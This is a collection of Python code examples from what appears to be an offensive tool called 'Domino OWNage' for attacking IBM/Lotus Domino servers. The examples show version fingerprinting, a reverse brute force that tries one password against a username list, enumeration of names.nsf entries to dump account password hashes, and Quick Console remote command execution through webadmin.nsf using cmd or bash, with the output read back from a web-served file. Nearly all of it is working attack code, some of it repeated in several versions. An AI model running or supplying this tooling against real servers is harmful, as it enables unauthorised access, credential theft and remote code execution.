Example #1
0
def fingerprint(target, username, password, auth):
	domino_version = None

	version_files = ['download/filesets/l_LOTUS_SCRIPT.inf', 
			'download/filesets/n_LOTUS_SCRIPT.inf',
			'download/filesets/l_SEARCH.inf',
			'download/filesets/n_SEARCH.inf',
			'api',
			'homepage.nsf',
			'help/readme.nsf'
		]

	for version_file in version_files:
		try:
			version_url = "{0}/{1}".format(target, version_file)
			request = requests.get(version_url, headers=utility.get_headers(), timeout=5, allow_redirects=False, verify=False)
			if request.status_code == 200:
				version_regex = re.compile('(version=|version\":\"|domino administrator |domino |release )([0-9.]{1,7})(\s|\")', re.I)
				if version_regex.search(request.text):
					domino_version = version_regex.search(request.text).group(2)
					break
		except Exception as error:
			utility.print_error("Error: {0}".format(error))
			continue

	if domino_version:
		utility.print_good("Domino version: {0}".format(domino_version))
	else:
		utility.print_warn('Unable to fingerprint Domino version!')

	check_portals(target, username, password, auth)
Example #2
0
def fingerprint(target, header):
	domino_version = None

	version_files = ['download/filesets/l_LOTUS_SCRIPT.inf', 
			'download/filesets/n_LOTUS_SCRIPT.inf',
			'download/filesets/l_SEARCH.inf',
			'download/filesets/n_SEARCH.inf'
		]

	for version_file in version_files:
		try:
			version_url = "{0}/{1}".format(target, version_file)
			request = requests.get(version_url, timeout=(5), headers=header, verify=False)
			if request.status_code == 200:
				version_regex = re.search("(?i)version=([0-9].[0-9].[0-9])", request.text)
				if version_regex:
					domino_version = version_regex.group(1)
					break
			else:
				continue

		except:
			continue

	if domino_version:
		utility.print_good("Domino version: {0}".format(version_regex.group(1)))
	else:
		utility.print_warn('Unable to fingerprint Domino version!')
Example #3
0
def reverse_bruteforce(target, usernames, password, auth):
    username_list = []
    valid_usernames = []

    names_url = "{0}/names.nsf".format(target)

    # Import usernames from file
    username_file = open(usernames, 'r')
    for username in username_file:
        username_list.append(username.rstrip())
    username_file.close()

    # Start reverse brute force
    for username in username_list:
        jitter = random.random()
        time.sleep(jitter)
        try:
            if auth == 'basic':
                access = utility.basic_auth(names_url, username, password)
            elif auth == 'form':
                access, session = utility.form_auth(names_url, username,
                                                    password)
            elif auth == 'open':
                utility.print_good(
                    "{0} does not require authentication".format(names_url))
                break
            else:
                utility.print_warn("Could not find {0}".format(names_url))
                break

            if access:
                utility.print_good("Valid account: {0} {1}".format(
                    username, password))
                valid_usernames.append(username)
            else:
                pass

        except KeyboardInterrupt:
            break

        except Exception as error:
            utility.print_error("Error: {0}".format(error))
            continue

    # Print found usernames
    if len(valid_usernames) > 0:
        if len(valid_usernames) == 1:
            plural = ''
        else:
            plural = 's'

        utility.print_status("Found {0} valid account{1}".format(
            len(valid_usernames), plural))

        for valid_username in valid_usernames:
            print("{0} {1}".format(valid_username, password))
    else:
        utility.print_warn('No valid accounts found')
Example #4
0
def enum_accounts(target, username, password, auth):
	accounts = []
	account_urls = []

	names_url = "{0}/names.nsf".format(target)

	for page in range(1, 100000, 1000):
		pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(target, page)
		try:
			if auth == 'basic':
				access = utility.basic_auth(names_url, username, password)
			elif auth == 'form':
				access, session = utility.form_auth(names_url, username, password)
			else:
				access = None

			if access or auth == 'open':
				if auth == 'basic':
					request = requests.get(pages, headers=utility.get_headers(), auth=(username, password), timeout=60, verify=False)
				elif auth == 'form':
					request = session.get(pages, headers=utility.get_headers(), timeout=60, verify=False)
				else:
					request = requests.get(pages, headers=utility.get_headers(), timeout=60, verify=False)

				soup = BeautifulSoup(request.text, 'lxml')
				empty_page = soup.findAll('h2')
				if empty_page:
					break
				else:
					links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')]
					for link in links:
						account_regex = re.compile('/([a-f0-9]{32}/[a-f0-9]{32})', re.I)
						if account_regex.search(link) and account_regex.search(link).group(1) not in accounts:
							accounts.append(account_regex.search(link).group(1))
						else:
							pass
			else:
				utility.print_warn("Unable to access {0}, bad username or password!".format(names_url))
				break

		except Exception as error:
			utility.print_error("Error: {0}".format(error))
			break

	if len(accounts) > 0:
		if len(accounts) == 1:
			plural = ''
		else:
			plural = 's'
		utility.print_good("Found {0} account{1}".format(len(accounts), plural))

		for unid in accounts:
			account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(target, unid))

		async_requests(account_urls, username, password)
	else:
		utility.print_warn('No hashes found!')
Example #5
0
def reverse_bruteforce(target, usernames, password, auth):
	username_list = []
	valid_usernames = []

	names_url = "{0}/names.nsf".format(target)

	# Import usernames from file
	username_file = open(usernames, 'r')
	for username in username_file:
		username_list.append(username.rstrip())
	username_file.close()

	# Start reverse brute force
	for username in username_list:
		jitter = random.random()
		time.sleep(jitter)
		try:
			if auth == 'basic':
				access = utility.basic_auth(names_url, username, password)
			elif auth == 'form':
				access, session = utility.form_auth(names_url, username, password)
			elif auth == 'open':
				utility.print_good("{0} does not require authentication".format(names_url))
				break
			else:
				utility.print_warn("Could not find {0}".format(names_url))
				break

			if access:
				utility.print_good("Valid account: {0} {1}".format(username, password))
				valid_usernames.append(username)
			else:
				pass

		except KeyboardInterrupt:
			break

		except Exception as error:
			utility.print_error("Error: {0}".format(error))
			continue

	# Print found usernames
	if len(valid_usernames) > 0:
		if len(valid_usernames) == 1:
			plural = ''
		else:
			plural = 's'

		utility.print_status("Found {0} valid account{1}".format(len(valid_usernames), plural))

		for valid_username in valid_usernames:
			print("{0} {1}".format(valid_username, password))
	else:
		utility.print_warn('No valid accounts found')
Example #6
0
	def quick_console(self, command, operator, target, os, path, username, password, session):
		if session is None:
			session = requests.Session()
			session.auth = (username, password)

		if os == 'windows':
			raw_command = "load cmd /c {0} {1}\"{2}\domino\html\download\\filesets\log.txt\"".format(command, operator, path)
		else:
			raw_command = "load /bin/bash -c \"{0} {1}{2}/domino/html/download/filesets/log.txt\"".format(command, operator, path)

		# Quick Console commands must be less than 255 characters
		if len(raw_command) > 255:
			utility.print_warn('Issued command is too long')
		else:
			quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(target, raw_command)
			response_url = "{0}/download/filesets/log.txt".format(target)

			# Send commands and handle cleanup
			send_command = session.get(quick_console_url, headers=utility.get_headers(), verify=False)
			if send_command.status_code == 200:
				get_response = session.get(response_url, headers=utility.get_headers(), verify=False)
				if get_response.status_code == 200 and '>' in operator:
					print(get_response.text)
				elif get_response.status_code == 200 and '>' not in operator:
					utility.print_warn('Unable to delete outfile')
				elif get_response.status_code == 404 and '>' not in operator:
					utility.print_good('Outfile sucessfully deleted')
				else:
					utility.print_warn('Outfile not found')
					do_exit
			else:
				utility.print_warn('Quick Console is unavaliable')
				do_exit
Example #7
0
def check_access(target, header, username, password):
	session = requests.Session()
	session.auth = (username, password)

	try:
		webadmin_url = "{0}/webadmin.nsf".format(target)
		check_webadmin = session.get(webadmin_url, headers=header, verify=False)
		if check_webadmin.status_code == 200:
			if 'form method="post"' in check_webadmin.text:
				utility.print_warn('Unable to access webadmin.nsf, maybe you are not admin?')
			else:
				path_url = "{0}/webadmin.nsf/fmpgHomepage?ReadForm".format(target)
				check_path = session.get(path_url, headers=header, verify=False)
				path_regex = re.search('>(?i)([a-z]:\\\\[a-z0-9()].+\\\\[a-z].+)\\\\domino\\\\data', check_path.text)
				if path_regex:
					path = path_regex.group(1)
				else:
					path = None
					utility.print_status('Could not identify Domino file path, trying defaults...')

				who_am_i, local_path = test_command(target, header, path, username, password)
				if who_am_i and local_path:
					utility.print_good("Running as {0}".format(who_am_i))
					Interactive(target, header, local_path, username, password).cmdloop()
				else:
					utility.print_warn('Unable to access webadmin.nsf!')

		elif check_webadmin.status_code == 401:
			utility.print_warn('Unable to access webadmin.nsf, maybe you are not admin?!')
		else:
			utility.print_warn('Unable to find webadmin.nsf!')

	except Exception as error:
		utility.print_error("Error: {0}".format(error))
Example #8
0
def check_access(target, username, password, auth):
	webadmin_url = "{0}/webadmin.nsf".format(target)
	try:
		# Check access
		if auth == 'basic':
			access = utility.basic_auth(webadmin_url, username, password)
			session = None
		elif auth == 'form':
			access, session = utility.form_auth(webadmin_url, username, password)
		else:
			session = None

		# Get local file path
		path_url = "{0}/webadmin.nsf/fmpgHomepage?ReadForm".format(target)
		if access or auth == 'open':
			if auth == 'basic':
				check_path = requests.get(path_url, headers=utility.get_headers(), auth=(username, password), verify=False)
			elif auth == 'form':
				check_path = session.get(path_url, headers=utility.get_headers(), verify=False)
			else:
				check_path = requests.get(path_url, headers=utility.get_headers(), verify=False)

			path_regex = re.compile("DataDirectory\s*=\s*'(.+)';", re.I)
			if path_regex.search(check_path.text):
				local_path = path_regex.search(check_path.text).group(1)
			else:
				local_path = None
				utility.print_warn('Could not identify Domino file path')

			# Get operating system
			if 'UNIX' in check_path.text:
				os = 'linux'
			elif 'Windows' in check_path.text:
				os = 'windows'
			else:
				os = 'windows'
				utility.print_warn('Could not identify Domino operating system')

			# Test writing to local file system
			whoami, path, hostname = test_command(target, os, local_path, username, password, session)
			if whoami and path:
				Interactive(target, os, path, username, password, whoami, hostname, session).cmdloop()
			else:
				utility.print_warn('Unable to access webadmin.nsf')

		else:
			utility.print_warn("Unable to access {0}, might not be an admin".format(webadmin_url))

	except Exception as error:
		utility.print_error("Error: {0}".format(error))
Example #9
0
def check_portals(target, username, password, auth):
	portals = ['names.nsf', 'webadmin.nsf']

	for portal in portals:
		portal_url = "{0}/{1}".format(target, portal)
		try:
			# Page not eternally accessible
			if auth == None:
				utility.print_warn("Could not find {0}!".format(portal))

			# Basic authentication
			elif auth == 'basic':
				if len(username) > 0:
					access = utility.basic_auth(portal_url, username, password)
					if access:
						utility.print_good("{0} has access to {1}".format(username, portal_url))
					else:
						utility.print_warn("{0} does not have access to {1}".format(username, portal_url))
				else:
					utility.print_warn("{0} requires authentication!".format(portal_url))

			# Form authentication
			elif auth == 'form':
				if len(username) > 0:
					access, session = utility.form_auth(portal_url, username, password)
					if access:
						utility.print_good("{0} has access to {1}".format(username, portal_url))
					else:
						utility.print_warn("{0} does not have access to {1}".format(username, portal_url))
				else:
					utility.print_warn("{0} requires authentication!".format(portal_url))

			# Page does not require authentication
			else:
				utility.print_good("{0} does not require authentication".format(portal_url))

		except Exception as error:
			utility.print_error("Error: {0}".format(error))
			continue
Example #10
0
def check_portals(target, header):
	portals = ['names.nsf', 'webadmin.nsf']
	for portal in portals:
		try:
			portal_url = "{0}/{1}".format(target, portal)
			request = requests.get(portal_url, headers=header, verify=False)
			if request.status_code == 200:
				if 'form method="post"' in request.text:
					utility.print_warn("{0}/{1} requires authentication".format(target, portal))
				else:
					utility.print_good("{0}/{1} does NOT require authentication".format(target, portal))
			elif request.status_code == 401:
				utility.print_warn("{0}/{1} requires authentication!".format(target, portal))
			else:
				utility.print_warn("Could not find {0}!".format(portal))

		except:
			continue
Example #11
0
def enum_accounts(target, header, username, password):
	accounts = []
	account_urls = []
	session = requests.Session()
	session.auth = (username, password)

	for page in range(1, 100000, 1000):
		try:
			pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(target, page)
			request = session.get(pages, headers=header, timeout=(60), verify=False)
			if request.status_code == 200:
				if 'form method="post"' in request.text:
					utility.print_warn('Unable to access names.nsf, bad username or password!')
					break
				else:
					soup = BeautifulSoup(request.text, 'lxml')
					empty_page = soup.findAll('h2')
					if empty_page:
						break
					else:
						links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')]
						for link in links:
							account_regex = re.search("/(([a-fA-F0-9]{32})/([a-fA-F0-9]{32}))", link)
							if account_regex and account_regex.group(1) not in accounts:
								accounts.append(account_regex.group(1))
							else:
								pass
			elif request.status_code == 401:
				utility.print_warn('Unable to access names.nsf, bad username or password!')
				break
			else:
				utility.print_warn('Could not connect to Domino server!')
				break

		except Exception as error:
			utility.print_error("Error: {0}".format(error))
			break

	if len(accounts) > 0:
		utility.print_good("Found {0} accounts, dumping hashes".format(len(accounts)))
		for unid in accounts:
			account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(target, unid))

		async_requests(account_urls, header, username, password)
Example #12
0
		if auth_type:

			# Fingerprint
			if args.action == 'fingerprint':
				utility.print_status('Fingerprinting Domino server')
				fingerprint.fingerprint(target, args.username, ' '.join(args.password), auth_type)

			# Dump hashes
			elif args.action == 'hashdump':
				utility.print_status('Dumping account hashes')
				hashdump.enum_accounts(target, args.username, ' '.join(args.password), auth_type)

			# Interact with Quick Console
			elif args.action == 'console':
				utility.print_status('Accessing Domino Quick Console')
				quickconsole.check_access(target, args.username, ' '.join(args.password), auth_type)

			# Reverse brute force
			else:
				if os.path.isfile(args.userlist):
					utility.print_status("Starting reverse brute force with '{0}' as the password".format(' '.join(args.password)))
					bruteforce.reverse_bruteforce(target, os.path.abspath(args.userlist), ' '.join(args.password), auth_type)
				else:
					utility.print_warn('You must supply a file containing a list of usernames')

		else:
			utility.print_error('Failed to establish a connection to the target URL')

	else:
		utility.print_warn('Invalid URL provided')
Example #13
0
def enum_accounts(target, username, password, auth):
    accounts = []
    account_urls = []

    names_url = "{0}/names.nsf".format(target)

    for page in range(1, 100000, 1000):
        pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(
            target, page)
        try:
            if auth == 'basic':
                access = utility.basic_auth(names_url, username, password)
            elif auth == 'form':
                access, session = utility.form_auth(names_url, username,
                                                    password)
            else:
                access = None

            if access or auth == 'open':
                if auth == 'basic':
                    request = requests.get(pages,
                                           headers=utility.get_headers(),
                                           auth=(username, password),
                                           timeout=60,
                                           verify=False)
                elif auth == 'form':
                    request = session.get(pages,
                                          headers=utility.get_headers(),
                                          timeout=60,
                                          verify=False)
                else:
                    request = requests.get(pages,
                                           headers=utility.get_headers(),
                                           timeout=60,
                                           verify=False)

                soup = BeautifulSoup(request.text, 'lxml')

                # Break if page not found
                if 'No documents found' in soup.findAll('h2'):
                    break
                else:
                    links = [
                        a.attrs.get('href')
                        for a in soup.select('a[href^=/names.nsf/]')
                    ]
                    for link in links:
                        account_regex = re.compile(
                            '/([a-f0-9]{32}/[a-f0-9]{32})', re.I)
                        if account_regex.search(link) and account_regex.search(
                                link).group(1) not in accounts:
                            accounts.append(
                                account_regex.search(link).group(1))
                        else:
                            pass
            else:
                utility.print_warn(
                    "Unable to access {0}, bad username or password".format(
                        names_url))
                break

        except Exception as error:
            utility.print_error("Error: {0}".format(error))
            break

    if len(accounts) > 0:
        if len(accounts) == 1:
            plural = ''
        else:
            plural = 's'

        utility.print_good("Found {0} account{1}".format(
            len(accounts), plural))

        for unid in accounts:
            account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(
                target, unid))

        async_requests(account_urls, username, password)
    else:
        utility.print_warn('No hashes found')
Example #14
0
         `----------`

             IBM/Lotus Domino OWNage
"""))
	parser.add_argument('url', help='Domino server URL')
	parser.add_argument('-u', help='Username or list of usernames', dest='username', default='', required=False)
	parser.add_argument('-p', help='Password', dest='password', default='', nargs='+', required=False)
	parser.add_argument('--hashdump', help='Dump Domino hashes', action='store_true', required=False)
	parser.add_argument('--quickconsole', help='Interact with Domino Quick Console', action='store_true', required=False)
	parser.add_argument('--bruteforce', help='Reverse brute force Domino server', action='store_true', required=False)
	args = parser.parse_args()

	# Process Domino URL
	target = utility.check_url(args.url)
	if target == None:
		utility.print_warn('Please provide a valid URL!')
	else:

		# Detect type of authentication the Domino server is using
		auth_type = utility.detect_auth(target)

		# Interact with quick console
		if args.quickconsole:
			utility.print_status('Accessing Domino Quick Console...')
			quickconsole.check_access(target, args.username, ' '.join(args.password), auth_type)

		# Dump hashes
		elif args.hashdump:
			utility.print_status('Dumping account hashes...')
			hashdump.enum_accounts(target, args.username, ' '.join(args.password), auth_type)
Example #15
0
                utility.print_status('Dumping account hashes')
                hashdump.enum_accounts(target, args.username,
                                       ' '.join(args.password), auth_type)

            # Interact with Quick Console
            elif args.action == 'console':
                utility.print_status('Accessing Domino Quick Console')
                quickconsole.check_access(target, args.username,
                                          ' '.join(args.password), auth_type)

            # Reverse brute force
            else:
                if os.path.isfile(args.userlist):
                    utility.print_status(
                        "Starting reverse brute force with '{0}' as the password"
                        .format(' '.join(args.password)))
                    bruteforce.reverse_bruteforce(
                        target, os.path.abspath(args.userlist),
                        ' '.join(args.password), auth_type)
                else:
                    utility.print_warn(
                        'You must supply a file containing a list of usernames'
                    )

        else:
            utility.print_error(
                'Failed to establish a connection to the target URL')

    else:
        utility.print_warn('Invalid URL provided')